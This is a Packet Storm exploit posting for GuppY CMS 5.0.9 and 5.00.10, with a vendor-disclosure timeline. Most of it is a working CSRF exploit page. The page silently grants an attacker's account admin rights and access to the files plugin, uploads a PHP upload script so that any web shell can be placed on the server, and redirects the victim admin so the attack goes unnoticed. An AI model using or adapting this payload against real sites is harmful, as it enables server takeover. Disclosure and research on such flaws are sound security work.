what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

GuppY CMS 5.0.9 / 5.00.10 CSRF / Shell Upload

GuppY CMS 5.0.9 / 5.00.10 CSRF / Shell Upload
Posted Feb 17, 2015
Authored by Brandon Murphy

GuppY CMS versions 5.0.9 and 5.00.10 suffer from cross site request forgery and remote shell upload vulnerabilities.

tags | exploit, remote, shell, vulnerability, csrf
SHA-256 | 9a3a91d62ffa8289884c5091a6ca64c976b4470ba86c18aec9bebc32fad89d18

GuppY CMS 5.0.9 / 5.00.10 CSRF / Shell Upload

Change Mirror Download
<!--
Exploit Title: GuppY CMS 5.0.9 & 5.00.10 Multiple CSRF Vulnerabilities-Privilege escalation/File upload. Other versions may be vulnerable but weren't tested.
Date: 2/17/2015
Exploit Author: Brandon Murphy
Vendor Homepage: http://freeguppy.org
Software Link: Windows-5.00.10 https://www.freeguppy.org/dwnld.php?lng=en&delay=5&pg=255317&li=CeCILL
Version: 5.0.9 & 5.00.10
Tested on: Windows 7/Firefox & Xubuntu Linux 3.2.0-23-generic
Xubuntu - Guppy CMS 5.00.10 VM: http://mediafire.com/download/d85mgobb35mblzb/GUPPY5.0.7z Working on Virtualbox & VMWare Workstation - VM by d1ch4do
Username:xubuntu Pass:reverse

Timeline:
12/21/2014 Notified vendor of vulnerability.
12/21/2014 Vendor replied requesting information.
12/22/2014 Vendor notified of another vulnerability. Supplied both exploits/info.
12/23/2014 Vendor replied problem identified. I was told that I would be supplied with corrections when patch is ready.
12/23/2014 Acknowledged. Told vendor full disclosure will be released 45 days after patch release.
12/29/2014 Vendor releases 5.00.10. Countdown begins.
1/1/2015 Vendor notified the vulnerabilities still exist in patched version 5.00.10
1/2/2015 Vendor supplied with version 2 exploits.
2/17/2015 Public Disclosure. Was delayed due to holiday.

Exploit Description:
Stable with Firefox 34.0.5. Other browsers may be unstable or may not work. When an authenticated admin is exposed to the code below it will do a couple things. "CSRF 1" allows a registered user to escalate their privileges to Collaborator Admin with access to the "files" plugin. This will allow the attacker to upload a php shell to compromise the server. Once executed the attacker would log into the website as normal then proceed to site.com/admin where it greets them with "AttackerName, enter your password :" and login with the same password you registered with. Hover over "General Management" and then click "Files" where the you can upload a shell of your choosing.

"CSRF 2" As stated earlier the admin has to be authenticated for this to work. However, the attacker doesn't need an account for "CSRF 2" to work. If the attacker does have an account "CSRF 1" and "CSRF 2" are both automatically executed when the page is loaded giving them 2 ways in. All that is needed on the attacker's end is to go to site.com/file/up.php, upload your shell and access it at site.com/file/shell_name.php The admin must have access to the "files" plugin.

Thanks: Fred, d1ch4do, & to all of the people who don't believe in me.

My LinkedIn: https://linkedin.com/in/brandonm86

Disclaimer:
I cannot be held accountable for anything you do with this exploit. You take responsibility for your own actions. For educational and testing purposes only.
-->

<!-- CSRF 1 start - Escalate attacker privileges to Collaborator Admin with the ability to upload unrestricted files (A shell). -->
<html>
<body onload="document.forms[0].submit(); redirect(); submitRequest()">
<form action="http://site.com/admin/admin.php?lng=en&pg=attribdroits" method="POST">
<input type="hidden" name="namedroits" value="TestUser"/> <!-- Attacker user name. You must register this user first! -->
<input type="hidden" name="etape" value="3"/>
<input type="hidden" name="drtuser38" value="5f4dcc3b5aa765d61d8327deb882cf99"/> <!-- Attacker password md5 hash. -->
<input type="hidden" name="drtuser42" value="admin"/> <!-- Your rights to be granted. Leave me alone! -->
<input type="hidden" name="drtuser30" value=""/>
<input type="hidden" name="drtuser36" value="on"/>
<input type="hidden" name="listplug" value="files"/> <!-- The plugin you will grant yourself access to. -->
</form>
<script>
function redirect(){
window.location.href = "http://site.com/index.php"; <!-- Redirect admin to somewhere else after the CSRF takes place or he/she would know the jig is up. -->
}
<!-- End CSRF 1 -->
<!-- CSRF 2 start - Uploads a small upload script that can then be used to upload your favorite shell. Go to site.com/file/up.php then upload your shell. -->
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://site.com/admin/admin.php?lng=en&pg=upload", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------221361792726389");
xhr.withCredentials = true;
var body = "-----------------------------221361792726389\r\n" +
"Content-Disposition: form-data; name=\"rep\"\r\n" +
"\r\n" +
"file\r\n" +
"-----------------------------221361792726389\r\n" +
"Content-Disposition: form-data; name=\"ficup\"; filename=\"up.php\"\r\n" + <!-- Name your php upload script here. -->
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\x3cform method=\"post\" action=\"\" enctype=\"multipart/form-data\"\x3e\x3cinput type=\"file\" name=\"myfile\"\x3e\x3cinput type=\"submit\" value=\"Upload\"\x3e\x3c/form\x3e\x3c?PHP $dir = \"./\"; $path = $_FILES[\"myfile\"][\"tmp_name\"]; $name = $_FILES[\"myfile\"][\"name\"];if (move_uploaded_file($path, $dir . $name)){print \"file uploaded. You made it\";} else {print \"Error! No hacking today!\";} ?\x3e\r\n" +
"-----------------------------221361792726389--\r\n"; <!-- Upload script by d1ch4do -->
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<!-- Ending CSRF -->
</body>
</html>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close